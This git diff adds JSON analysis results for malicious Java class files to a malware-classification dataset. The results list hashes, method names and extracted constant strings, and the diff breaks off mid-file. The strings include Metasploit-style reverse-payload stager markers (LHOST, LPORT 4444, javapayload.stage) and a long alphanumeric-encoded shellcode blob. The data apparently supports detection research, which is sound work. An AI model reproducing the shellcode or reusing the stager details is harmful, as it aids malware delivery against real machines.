mode 100755 index 0000000..4a73541 --- /dev/null +++ b/java_classification/data/malicious/24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "gkMIUZwsSK/KurXPCN", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "50176353-05d9-411f-86ed-88a7599a8e80", "verbose": {"java": {"constant strings": ["gkMIUZwsSK.KurXPCN", ".class", "/gkMIUZwsSK.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "gkMIUZwsSK.dat", "URL", "", "https:", "gkMIUZwsSK/KurXPCNTrustManager.class", "KurXPCNTrustManager.class", "AESPassword", "gkMIUZwsSK/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "gkMIUZwsSK.KurXPCNTrustManager", "useFor", "java.net.URLConnection", "gkMIUZwsSK.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "KurXPCN -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b1f2414dfe074344025f324e9a89492189574025", "file_name": "java_malicious/24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef", "_id": "50176353-05d9-411f-86ed-88a7599a8e80", "score": 0, "entropy": 6.1526570629328114, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM6DUBO+WZ9ThmAOxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1t2Oftm/yNvpvUrKYvCkgHzbDrDF", "sha256": "24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef", "md5": "1f4ccf4de136215bedd7fe03650c3a27", "parent_sha256": "24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d.results b/java_classification/data/malicious/2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d.results new file mode 100755 index 0000000..64a6a6d --- /dev/null +++ b/java_classification/data/malicious/2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "OoDvyyM.java", "class_name": "JGXgwWYpp/OoDvyyM", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "cGdRyAOm", "OkugTH", "djSUD", "DTtpLfNTR"], "minor_version": 0, "const_pool_count": 195}}, "_id": "c3a68dc5-d88f-40f3-a066-ce1c62cfb96b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7bfa610262049b133a019d17e4870678566caa61", "file_name": "java_malicious/2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d", "_id": "c3a68dc5-d88f-40f3-a066-ce1c62cfb96b", "score": 0, "entropy": 5.559783919914045, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3371, "ssdeep": "96:CzrtBFlChBKMDW4qJM8AFPcz2apPccTax:CFzlChQM8AFkPE6ax", "sha256": "2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d", "md5": "c8490910222983b5db9a86fcac4ec268", "parent_sha256": "2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/267769ca4f9b91063c7031bb501e62e39c6b982cdb7c9b87b25b94273489a0f7.results b/java_classification/data/malicious/267769ca4f9b91063c7031bb501e62e39c6b982cdb7c9b87b25b94273489a0f7.results new file mode 100755 index 0000000..2707053 --- /dev/null +++ b/java_classification/data/malicious/267769ca4f9b91063c7031bb501e62e39c6b982cdb7c9b87b25b94273489a0f7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/dekuuqak", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["hllkdwvfp", "eaphrnn", "dqyhmuaj", "mkvne", "cfeurfgyalqppbevwnyrjl", "", "hfbdvy"], "minor_version": 0, "const_pool_count": 331}}, "_id": "b1b22775-8408-482d-896a-82f045afcc2d", "verbose": {"java": {"constant strings": ["gR;C?\\x1f9Q=M/", "`\\x1c!OgM\\'\\x188QmM%L>Da]9Y1\\x1fmK\"", "\\x1b`L!F6O`\\x10f", ";\\x10e^0", "#J#E3EcNm\\x1c,", "Oe\\x1f>X8", "\\x1agNcN7Mc\\x1bd\\x1b4J7K4\\x1e7\\x187K0JmM`\\x19f\\x10l\\x1edKlK0Ig\\x1al\\x1d6\\x1c1Mb\\x1ef\\x193\\x181\\x11cNl\\x18c\\x1bb\\x1eeJeM3\\x1fd\\x1f6L1MmJc\\x1cc\\x1e0\\x10mJbIm\\x1a4\\x1e`\\x1dc\\x100\\x11`LfI`\\x1fl\\x18c\\x1d6\\x10c\\x1fl\\x10g\\x1a3I4\\x186\\x19a\\x1c1\\x1e7I0IfJ`\\x1am\\x1d4\\x1dlL3\\x1c`\\x1b6\\x1aa\\x110Le\\x1f7N1Ma\\x117\\x1e6\\x10cK7\\x18g\\x1f4\\x1ed\\x1e6\\x1a3I6\\x1agIf\\x1bc\\x1c0\\x100J1JgL7\\x10e\\x1d7K7Nm\\x1c1I1\\x196M7J`K`\\x1ccMlJg\\x103\\x1cg\\x190\\x104\\x1dcImI4K3\\x190\\x1db\\x1caJa\\x1bmKa\\x190KdM3Jb\\x1cfMb\\x1eg\\x1dfI3\\x106M6IeLf\\x111\\x1d4\\x1c1\\x10a\\x1eb\\x11m\\x1fa\\x1b3JdIfJ7\\x1cb\\x1f1La\\x114M4I7IaMaK`\\x1dlJfK7\\x1f7McN`\\x113\\x11bI`\\x19e\\x1b6\\x1dc\\x1de\\x1bbJg\\x11g\\x1fb\\x1ca\\x18f\\x1em\\x1cm\\x19`\\x10cLf\\x1eb\\x1flI6\\x1c`Ma\\x1a7L4\\x1d4M6N4\\x186\\x1em\\x11a\\x1d3NeJbLfK`\\x1c3\\x1dg\\x1acMcLb\\x1abNm\\x1f4\\x1f4\\x1fg\\x1ed\\x1af\\x18l\\x113Jb\\x1ab\\x1dl\\x1eb\\x1ef\\x1a7\\x1bg\\x1ef\\x1e`\\x10e\\x196\\x184NaL1\\x1bd\\x1am\\x114\\x18f\\x1b`\\x10f\\x1bf\\x1bc\\x1f`MfL`\\x1c1\\x10g\\x1e3Jf\\x1al\\x1dd\\x1bmJ6\\x1edL`KgM4\\x11cK6K3\\x19dN6\\x1a0\\x10g\\x10d\\x10b\\x18mImJ1Ll\\x10g\\x1b4\\x1cl\\x1a3I3\\x1b6\\x1dm\\x116\\x18aLgM1N7J3\\x1emI3I1\\x1b`\\x1a1Ib\\x1elJb\\x1cd\\x181\\x1a4\\x1d4K4Ne\\x111Lf\\x103\\x1f7\\x1fm\\x1daNf\\x1ac\\x183\\x1bl\\x1d0\\x1cfN0\\x1ee\\x1a6Jf\\x111\\x1d6\\x1cm\\x1bf\\x1f0\\x1af\\x1b1\\x1a6\\x1cl\\x186Ll\\x1d6\\x1ecJ3\\x19lL6\\x1fb\\x11b\\x1de\\x18bJ0\\x10fI4KeJe\\x19`MgK3\\x1dlJ0NbNeIc\\x1a7\\x1cbIe\\x107\\x1c4\\x1d6Jm\\x1fmL6ImK7Nc\\x1fm\\x19cJb\\x1b0JdNlJbN3\\x11m\\x1al\\x181\\x1c3\\x184\\x19bI1Le\\x101\\x1f6N1\\x10eLe\\x18m\\x19a\\x184J`Il\\x1cm\\x1a3\\x19dLm\\x101\\x1bgK7\\x104L6Kb\\x1ac\\x1c6K7\\x10eK4MaJa\\x1c7\\x1bbM1I1\\x18d\\x1c0Lf\\x1d0McMa\\x1c1MdLl\\x1bm\\x1b6I1\\x1e`\\x1bmKfL`J`\\x11lJm\\x1cg\\x1b4\\x100\\x1am\\x1f6\\x19e\\x1cmN3\\x1b3K`\\x1f3K7\\x107\\x1c0\\x100\\x103Kg\\x1e`\\x1dd\\x18dKcL3\\x1deK`Ib\\x11lJlKm\\x19l\\x10`\\x1ab\\x1bl\\x1f6M6M4\\x11g\\x1ff\\x1efK1\\x181\\x1e7Jl\\x193J3ImK4N0Ml\\x1aa\\x1amKfNc\\x1dm\\x11`\\x1bfMf\\x18fI3\\x1blIfMm\\x1b1MaM7Kc\\x100Mc\\x19c\\x10f\\x1a6\\x1am\\x1ea\\x187\\x10f\\x1fdM7NdNdKl\\x1aaId\\x1e4\\x1e0\\x1cbK3MgKg\\x1bdMl\\x1e6\\x1c1\\x1bmMlLlIb\\x10dMb\\x10a\\x1c`Kf\\x1ec\\x10mJe\\x1f4\\x1dfM6\\x1c6\\x1dbK6\\x1bgI`Ke\\x111Kg\\x1faIa\\x1ce\\x1ec\\x1ffJcN6\\x18m\\x1dc\\x10gJc\\x1beLgJfN3Mm\\x10b\\x11fI0I1\\x1bg\\x1e0\\x1e6\\x1dl\\x1ca\\x1d`\\x1ccN6\\x1amKd\\x19lLd\\x1elNeI1Ia\\x1abKb\\x1d4\\x1d0Ma\\x1fb\\x1f4\\x114\\x19f\\x10bKgJf\\x1bb\\x1b7Ne\\x10dIlJeMeK7\\x18d\\x10dJg\\x1ae\\x1fd\\x10m\\x1a4\\x19mJ1LaI7N1\\x10gNmMg\\x19cM`\\x1e6I6\\x1f0M7\\x1ce\\x18gMg\\x1ea\\x1cd\\x1aa\\x1ce\\x1bb\\x19m\\x193\\x1ca\\x183Nl\\x1c4\\x10mIdLaNg\\x1ecLcNd\\x187\\x10m\\x1a6McIc\\x187LmK7I7\\x1cf\\x11m\\x1blKm\\x1f7\\x117Ia\\x1cf\\x10bI6\\x1ad\\x1c7\\x1c6\\x1dd\\x1cdK3Me\\x10c\\x104\\x1e1\\x19bIfJ`Nd\\x19c\\x1emJl\\x1d1\\x1b7\\x1b0\\x1ff\\x1e1I1\\x107\\x103\\x1f3M7I4Mm\\x1aeI1\\x1b`\\x1d0\\x196\\x10fJc\\x1fl\\x1f`Le\\x18d\\x1bdK1\\x1c6\\x1ba\\x1eg\\x1d4\\x1d3\\x1aeN1\\x1ffI1M6\\x1bf\\x10l\\x10bK6M1Jb\\x1a4L1\\x106\\x183\\x18a\\x1dd\\x1el\\x183\\x1ca\\x18l\\x1f1K4\\x1flMg\\x10eNg\\x107\\x1cbLa\\x11f\\x18l\\x1b4\\x18d\\x1d7\\x194J7Nb\\x1dg\\x11g\\x101\\x1b0\\x10e\\x1c6MaMeJl\\x1cf\\x1a`\\x1dbN0\\x104\\x100K1K4\\x114\\x10g\\x1cbKfI4\\x1cd\\x1fgMcIf\\x1bgNa\\x1fb\\x1c6Me\\x1a3K7\\x1em\\x1db\\x19lLdJ`\\x190\\x11g\\x10c\\x1dd\\x1e6Jd\\x1ae\\x1f0\\x1a6\\x1f`Ne\\x181I1L7\\x1bc\\x1c3\\x103\\x1ef\\x19b\\x1d4\\x10e\\x11l\\x11`\\x111\\x1f7Jf\\x1d0\\x1a1\\x194\\x1cg\\x1cdM`\\x1d4\\x1eg\\x18a\\x1bc\\x1beL6M3\\x1fl\\x1a0J1L4Km\\x10f\\x1aaNf\\x1c4\\x190JgM7\\x10fMfIfKbIaLbKdJ3Kb\\x1bm\\x18m\\x1cd\\x191Kg\\x1dcL6\\x1b`\\x1fgL3\\x11l\\x1ef\\x11d\\x1bf\\x1acI1Ja\\x18d\\x19aI3LgKb\\x18bJl\\x116K3Nd\\x1bd\\x18bM`\\x1fe\\x1cd\\x1cd\\x18eJ`Ld\\x1ddMm\\x1da\\x18b\\x18`N6I0Ma\\x1acIl\\x1aaM`\\x183JaK1Nd\\x18cL0\\x193N3Im\\x117NaI3\\x1d`\\x1clK3Ll\\x1a`K6\\x1e1\\x1bmJ0\\x1dfJe\\x18b\\x1e0Ne\\x1bf\\x1adLa\\x11m\\x1ag\\x19f\\x1b3KeK6\\x190\\x1fc\\x1eb\\x1c3\\x193\\x1bd\\x1ea\\x11`\\x107\\x1af\\x1c0LfJbKa\\x1fe\\x1ceLf\\x1e1\\x10gJe\\x19eNf\\x19a\\x18aN0\\x1c`\\x19aJ4\\x1ccK1J7\\x1ecNd\\x1bb\\x1db\\x1cfLeJlL4\\x1c7\\x11c\\x10c\\x19aKmIm\\x116Jg\\x1e1\\x19g\\x1fe\\x19a\\x1cd\\x19a\\x1cmN0Jf\\x1c6\\x1f7\\x10gMbKc\\x1f3Kl\\x1ec\\x1bd\\x180\\x1ebNcI7\\x1dlIbMg\\x1cm\\x1a7\\x11f\\x18l\\x10e\\x1de\\x1bl\\x1dcLm\\x1da\\x193Mg\\x1b1\\x1bf\\x1eb\\x1e4\\x1d`J0J3K`\\x1efJ1\\x190\\x1eb\\x103\\x1a0\\x11e\\x1f0\\x1b7\\x197LgL`La\\x1f3M0\\x1eb\\x1ea\\x1c`NdLl\\x18l\\x181\\x191IcI0\\x11f\\x184\\x1cb\\x181\\x114\\x11f\\x19aK`L`LgIfLdJ7\\x1b0\\x11a\\x10fNf\\x1em\\x1f4\\x1e7\\x1ef\\x104Nd\\x1b`N`\\x1cmNcMcJ0IcJeIe\\x1a1\\x107\\x18m\\x1afN4J`K1Jg\\x1c6\\x1a4\\x1fc\\x1eg\\x106J1KfNcIf\\x1df\\x1ba\\x1e3Lf\\x1alIc\\x1bm\\x116\\x1a4\\x1c0\\x1a1\\x1fgLeI1\\x116\\x19fKmI0\\x1d7\\x19`\\x19a\\x10fM6N`\\x1ca\\x1d1\\x1feIf\\x19e\\x1dcId\\x1cd\\x1a4MgJgI1\\x181\\x1caJg\\x18`\\x10d\\x1f3JaIb\\x1eg\\x1a0\\x183Ne\\x106\\x18aI0M1JmN`\\x11eM6Im\\x1a`\\x18f\\x101\\x1ag\\x1ac\\x1daLbIg\\x19f\\x116J3N4Ja\\x1deN4K7\\x1adMd\\x1d6\\x1b3\\x11lI7Jf\\x1c1\\x1c0\\x1f0Lg\\x1dfNb\\x1a7\\x1dbKm\\x1fe\\x19fLc\\x1fbIfId\\x11eIe\\x1b6\\x1b7\\x10e\\x183\\x1fl\\x190Lg\\x180\\x18c\\x1e`\\x184\\x1f7\\x1be\\x1b0\\x10`\\x107Ia\\x1a7Me\\x1a6\\x1e1Ic\\x10a\\x181\\x1ed\\x1fb\\x11gImI7I`\\x1el\\x18c\\x10b\\x1fmNf\\x1e7Ld\\x1bcMgId\\x10lKlKaIaM3\\x18d\\x186\\x18e\\x1e1\\x11`\\x1c6\\x19f\\x19m\\x1fdMa\\x1f7\\x11b\\x1emKcK4\\x180\\x1b`\\x1d7\\x107\\x1b`\\x1fm\\x11g\\x1am\\x10g\\x11m\\x1afMe\\x106\\x1dm\\x1amK3\\x1bm\\x1c3Ka\\x1e6I4\\x10mLd\\x18e\\x1cbM7J0\\x1b3\\x11fJm\\x1c3Lf\\x103\\x1dd\\x18eIfMdI6\\x1f7\\x19gKe\\x1em\\x1f7Le\\x10a\\x18e\\x1bd\\x19l\\x1bdIgIlN4\\x1eb\\x104\\x1flJ6\\x11g\\x1bb\\x11`\\x11`Kd\\x11eKbNb\\x11l\\x19g\\x1cb\\x10aKlIeI1\\x1c`JcK3Nb\\x104\\x1f`N6\\x117", "I6C%@2", "@cN0J\\'F9", "J0\\x1d\"", "\\x1b1MgM4Nd\\x1f4\\x1b4", "\"_?K:]>[8", "\\x1aeNmMcM0\\x1bb\\x1abIa\\x101\\x19c\\x1c7\\x11bM`\\x10g", "M:", "\\x1bbM6NgNa\\x1bl", "-E#L2", "\\x1alM4N7Mf", "G\"I Y7L", "\\x1d/L\\'[;X$[c[>X>[>Yb\\x1ac\\x1af]0", "`]`O>I!Y`\\\\2XfBd\\x1da_\"", "eO1Q1\\x1ffJ4Q8_aLgRbC%Y2", "m^g\\x10m\\x1f1FmC4Fe^>", "\\x1acM6NdN0\\x1a3\\x1amIgLc\\x1b`\\x18c\\x111MeI7\\x1d3Kf", "6^\\'A6", "O=Qc_dM3Y#\\x1abK7C\"\\x1d!Y0]!\\x1b7[3_%O;", "gY/XbX \\x1b2Ff\\\\8B%B;", "f[a", "aM;E>Mb", "I!Y#Xe\\x1c>", "C>\\x182\\x1d\\'", "/O=", "\\x1b3E%\\x10,Ke\\x10a\\x1d7] \\x10a", "\\x1d$\\x1f,_0OcRmZ#\\x18 C7M8Kc^!", "\\x1f$[eReMd\\x1b=", "2\\x1a$J\\'\\x1f#O3\\x1dgBmM/B!D#", "$F6", "gF>\\x1e4\\x1a%Q%@gM3Ee_$\\x1ba", "4\\x19/E8", " \\x1e9D!\\x18;Zc_/\\x1d\"\\x106\\x1b\\'\\x18fY,N9Xf\\x1b4N/", "2O2B/I\"", "@cY7", "_=\\x183C4\\x19bBb[ ", "2R2B8O/\\x1ca\\x1f7\\x1d/LdR0F$N1\\x1af", "L%[`@e\\x18gKa", "Q \\x1a!Q?\\x1d1I9Q4B%\\\\gO&\\x19 ", "\\x1b4MlM1K3", "\\\\-D G&J2A\"@3C=", "\\x1b0M3NgN4\\x1a`\\x1bb", "X=", "\\x1bb", "\\'D?G7Q-", " O;^#\\x1f?Q`M$Mg\\x1f/Mb[7[0\\x1e=IfN4M2Qd\\x1c4Xd", "\\x1e8^\"\\\\7L6]6NdKgI\\'\\\\fE?\\\\&\\x1bf\\x190\\x1f Xg\\x19?", "!^c_#\\x186\\x10c\\x1f @%\\x1d1X&\\x1c%Y=Q$\\x183", "L?X4Q1Y2Y;F;[cE?J6Xm\\x1e2\\x102", "a\\x1ec\\x1afE%Ke[%K>RgK$", "0\\\\4\\x1emM#", "dK0\\x1d,] ", "R`Md\\x18?F \\x19m[#\\x1f!@?", "O#E%L4Q2L4@0Jg", "[mI#]$\\x1b`\\x1dgNdCf_>K3\\x18&]!", "Rc\\x183Q%\\x1fb\\x1a!\\x1b2B4", "\\x1d\"Yc\\x1b1M9\\x1ca\\x1fb\\x10 O6\\x1e,\\x1a!\\x1d/\\x1e?_8", "`[cY,\\\\fM3K3I!KeFg@&\\x1f4I$", "\\x1bg\\x1bb\\x1be"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5dd88514a2cb5adfcdde9b23097f30279bf8f04b", "file_name": "java_malicious/267769ca4f9b91063c7031bb501e62e39c6b982cdb7c9b87b25b94273489a0f7", "_id": "b1b22775-8408-482d-896a-82f045afcc2d", "score": 0, "entropy": 6.294158090972146, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 8533, "ssdeep": "192:Qk0zatvJX9m9NQNHg1PaFPz4D2vecnvITsXnWfZlTHcLDy5Y8:eeZ9m9+NH4SFEDVmvPXelWDgH", "sha256": "267769ca4f9b91063c7031bb501e62e39c6b982cdb7c9b87b25b94273489a0f7", "md5": "69d46f89dd225fc3cd6cd6e15a966dc4", "parent_sha256": "267769ca4f9b91063c7031bb501e62e39c6b982cdb7c9b87b25b94273489a0f7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/26d276959d4813bcc3cb90270aabfa5d78a2cf81338f8e60aeb53a32cd620d87.results b/java_classification/data/malicious/26d276959d4813bcc3cb90270aabfa5d78a2cf81338f8e60aeb53a32cd620d87.results new file mode 100755 index 0000000..b1afa2e --- /dev/null +++ b/java_classification/data/malicious/26d276959d4813bcc3cb90270aabfa5d78a2cf81338f8e60aeb53a32cd620d87.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/xtbq", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "awucgmvoiwoxkmtpe", "mvkalsgtlaqivyziie", "uvakxhfhokdceerrj", "uhhzngfdmbzdvgp", "mupsjvlxwcoafcmxtj", "ksyfjsewvyaeklgvc", "pavbzzmmaskpbmiocgc", "mwffotehjuybknssep", "thehvscddvmynznhhkm", "krmjoqvaduwxpbd", "nlzfjvcjxljfncb", "kjbqbebstdkvgxd", "digaefvxmeiziflxn", "keovlwdbriidywztpw", "ethnsgymttggisjzzrn", "go", "jyqbbnkmhoenjhth", "ibtqcadjipplthbf", "tgmlemsmhtnyheyidz", "gfuciqdxjwgcvbhyx", "defcls", "spofbxuroghxmjfmcru", "sjjrbxfebofupiwssqf", "crcrzbvgjelrrds", "yerwyerjqpwuknhz", "pzpehkxsxkdynep", "pwhowaaqfrbjnvy", ""], "minor_version": 0, "const_pool_count": 397}}, "_id": "fb2bdfc6-f888-4b5c-bc0e-6e15fb714f4b", "verbose": {"java": {"constant strings": ["jwqkigzravvyegj", "lmychcwkoopk", "uyaeqpyb", "kpvs", "gejvjzfcxaeqbw", "byhthu", "fcuednxbpbtjjfd", "kcuunykhlbpjkg", "uvsbsyxoh", "kxts", "tmbigai", "bogiwcugusb", "ujwjsxrivnfnuct", "dbbbvtlujt", "gqtuhrwqevyec", "dd", "l", "ofecwydrjuxiohv", "pdeyiwrxczg", "euvsuupplgxgg", "smamarxpvcgwjr", "fhjgxog", "vpzwqmiswdutwzr", "bngludhmtmdrw", "jmtenc", "dvgafgfffvzs", "nvwqqmwelzcqv", "kthhq", "svk", "srzz", "gplnlhmpz", "xcj", "eiuqfbmv", "mp", "oprnphsry", "klvpumyqtjn", "hrgwnibi", "agbnwtktysnb", "war", "ggdamsopfh", "fusfvuihwvj", "m", "sopxxdiwavvncq", "cmypkxcnomwhz", "gowhlexeidrn", "gx", "rfqjbttqik", "wciixyswrdemn", "cubil", "gryydaplu", "ydqpfurpzppc", "n", "shocsvtyk", "nnmsfxgln", "bwpalyqzlisdhxa", "wnroxvw", "vycrqk", "ajpzlaeur", "rfbyxk", "pfnhpfkizrtsb", "bwzojnqo", "zfirlj", "uzqvthoyvryl", "oaozqnlxb", "x", "zkhqvqpiwz", "ryliozpcste", "irminuqhq", "d", "sogwwmekjyhdl", "ethtkdudvw", "duarazvegz", "mzhyemuds", "quyxam", "zqirivaughb", "ynaqe", "qlhvoaqqf", "wwpxspinh", "guwqtijzia", "weibtjholbshx", "joighoepros", "hxnvhpqkv", "ikskwhwdw", "qqwhkusip", "vfmqdeerixglo", "veivalel", "zeenwqgakjyitu", "zqe", "loojhdyois", "gzppcjiykrs", "yhjfxlzo", "vobh", "wfemunirc", "vc", "ajpua", "vte", "qioenalu", "pl", "gzahsroxyk", "ddvpopygn", "wreuhvmklyout", "pebkscnr", "to", "cl", "ybbvhxxlzxhl", "gjabbzuoccn", "ibdlbyrw", "trseiypupwvoxjw", "susohqouz", "waxcqklkblrp", "kcfyho", "yrmptgadapagj", "hoqrsxaibor", "gyrgxkbqnre", "kguli", "njhxbqtnypy", "xqbcdbf", "hsoxrhwpxahq", "hirtflhsqh", "dzfjdnnu", "yjoh", "kptbufg", "sieqefcqoo", "pavofjow", "wwni", "peksoqklcyypksd", "rlvtgu", "bcbvxzpoxeez", "ue", "zbxlysuhwvni", "upbkqnwvwfa", "tbk", "mkwrw", "sfxc", "aphzzoty", "pjuzbqa"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c03e3dc5bb15c66c6969e93538ba1bbcfff3c0d5", "file_name": "java_malicious/26d276959d4813bcc3cb90270aabfa5d78a2cf81338f8e60aeb53a32cd620d87", "_id": "fb2bdfc6-f888-4b5c-bc0e-6e15fb714f4b", "score": 0, "entropy": 5.683149371717092, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 8139, "ssdeep": "96:l4C0DfXARRO3KEiok5qP8+eMaRwyfkGdn/DnPOTl2c2w:efXKAdMqPAhsGdn/jal2g", "sha256": "26d276959d4813bcc3cb90270aabfa5d78a2cf81338f8e60aeb53a32cd620d87", "md5": "39b13e85319b9d673be0885c9e1b89d4", "parent_sha256": "26d276959d4813bcc3cb90270aabfa5d78a2cf81338f8e60aeb53a32cd620d87"}} \ No newline at end of file diff --git a/java_classification/data/malicious/26d29d2af62bde0a3527f46f5b9e5a09be27c0571093e012e49f3d9a6345d07e.results b/java_classification/data/malicious/26d29d2af62bde0a3527f46f5b9e5a09be27c0571093e012e49f3d9a6345d07e.results new file mode 100755 index 0000000..f861021 --- /dev/null +++ b/java_classification/data/malicious/26d29d2af62bde0a3527f46f5b9e5a09be27c0571093e012e49f3d9a6345d07e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "QxAJSRmFP.java", "class_name": "aHrMCrboe/QxAJSRmFP", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "QYEirqQn"], "minor_version": 0, "const_pool_count": 337}}, "_id": "aac4e6ea-5d7e-48fc-9411-d2591a89538b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "67605fcdca7fb79a9525dd6f68eed348793fe289", "file_name": "java_malicious/26d29d2af62bde0a3527f46f5b9e5a09be27c0571093e012e49f3d9a6345d07e", "_id": "aac4e6ea-5d7e-48fc-9411-d2591a89538b", "score": 0, "entropy": 5.127077909469466, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5338, "ssdeep": "48:8t15F1PHr7PrDKigyFlkg0AkX3IpgU0s0wFQtXoWn1tXYGH1t8FElyN:IFNTrDKihFlkAbP0wF4YW1tnH8lN", "sha256": "26d29d2af62bde0a3527f46f5b9e5a09be27c0571093e012e49f3d9a6345d07e", "md5": "dc154c26fa8b4af92bd1bdc771e3b97e", "parent_sha256": "26d29d2af62bde0a3527f46f5b9e5a09be27c0571093e012e49f3d9a6345d07e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/27330da8a2baebb5b2e44aa5d0a4949dee70cfff477937dd1f487d79e993cc84.results b/java_classification/data/malicious/27330da8a2baebb5b2e44aa5d0a4949dee70cfff477937dd1f487d79e993cc84.results new file mode 100755 index 0000000..1b610ff --- /dev/null +++ b/java_classification/data/malicious/27330da8a2baebb5b2e44aa5d0a4949dee70cfff477937dd1f487d79e993cc84.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "decoder", "init"], "minor_version": 0, "const_pool_count": 90}}, "_id": "ca861469-a81f-46eb-a1ab-84bee2cb3e07", "verbose": {"java": {"constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIZ0NplPJ0z0npNpNpZ0NpM8ePUPWp5PJKGpkYYlWpUPuPsoQtOQTpuPc0uPT8tLNkQPtLnkrPULlmlKe8gxJK5Ynkspp4nmW01lLKPhwLnkzWRJ5TV9m8lO5P5PwpXbJYcXBO2Nc0WpbHpuqbbLBMPTkOtVNkzHm8SIC0uPwpLK8W2gopEowpbUzZ0Gbw3wMP7OeP0uJZLKZO1OdsO9naJLETC1wpuPLKyLv1V2v32HTD31wpUPKOpVVlCjv9v162LKwrpSbcopgKgp2UxzMQak9ltnau0xpePu6cK3xkWxmY33yWcsET6NcUPxrEo6rc7x30aKOzO16d6POxReePVSIPRpV0V31GBpKOrvr0lCXxwpBUc6Pjs1SckO2v34bz1IMSKrwtcqMPvZWpBULtKO2vgxpQ3fLKd5wLlKpt6Nd8c3L5sfnkPveps3ZUdsiYPIQQNMS38EP3KkVoMnb0fZYFbT38YQZk4MwsiJQPHkZQwKwopuKWqNnkqNTdDCKmRFNk4LrklKQN7lDCkmNkETnkWsKulksnbyKsKXkOKNkOKONnBn4NzLLXKNozvnsNIHyrbSVSZjOzSkTv4ZfOpp3isqpl0leP58bTqdT0wJfO6OpwQqrN1yqdPa0le5Dn0iPnqv0odopccWU9Tmu2e9pn4opaPeD2vO3UqXtxcQsVRC2FDptpDvpV6PvQFPP0U6VPP8VPdpvPp6rrTtfU5hrBP1VQTpdp5ap03QQDasp1rC6YsUpaqspd02p0fQrL4p6TVPp9P3FQdxPJtpE5dpp0tpp6DpFQpUWCWIP1SSVPe3UdfUwpePA", "419,20,7f,6d", ",", "file://abc/", "B", "u"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d465ef0623aaf8c37ba81b98686c504cfcac645a", "file_name": "java_malicious/27330da8a2baebb5b2e44aa5d0a4949dee70cfff477937dd1f487d79e993cc84", "_id": "ca861469-a81f-46eb-a1ab-84bee2cb3e07", "score": 0, "entropy": 6.30681506918528, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2633, "ssdeep": "48:1ODoXyFlG5uUMiajFGSg9Atwwee/FqIaFv16fQHX3nZ+NAqECCYNUq10Bk9:+FlCOiajFi6tdToNfnnZ2CvqWI", "sha256": "27330da8a2baebb5b2e44aa5d0a4949dee70cfff477937dd1f487d79e993cc84", "md5": "e5cb9e6d9cd77ca5ac695575b0407ee1", "parent_sha256": "27330da8a2baebb5b2e44aa5d0a4949dee70cfff477937dd1f487d79e993cc84"}} \ No newline at end of file diff --git a/java_classification/data/malicious/275a829ec1ac0ec7ac54c9e7d5d3df9ad646fee9582e9591942fdb9a8ffecfeb.results b/java_classification/data/malicious/275a829ec1ac0ec7ac54c9e7d5d3df9ad646fee9582e9591942fdb9a8ffecfeb.results new file mode 100755 index 0000000..824acd6 --- /dev/null +++ 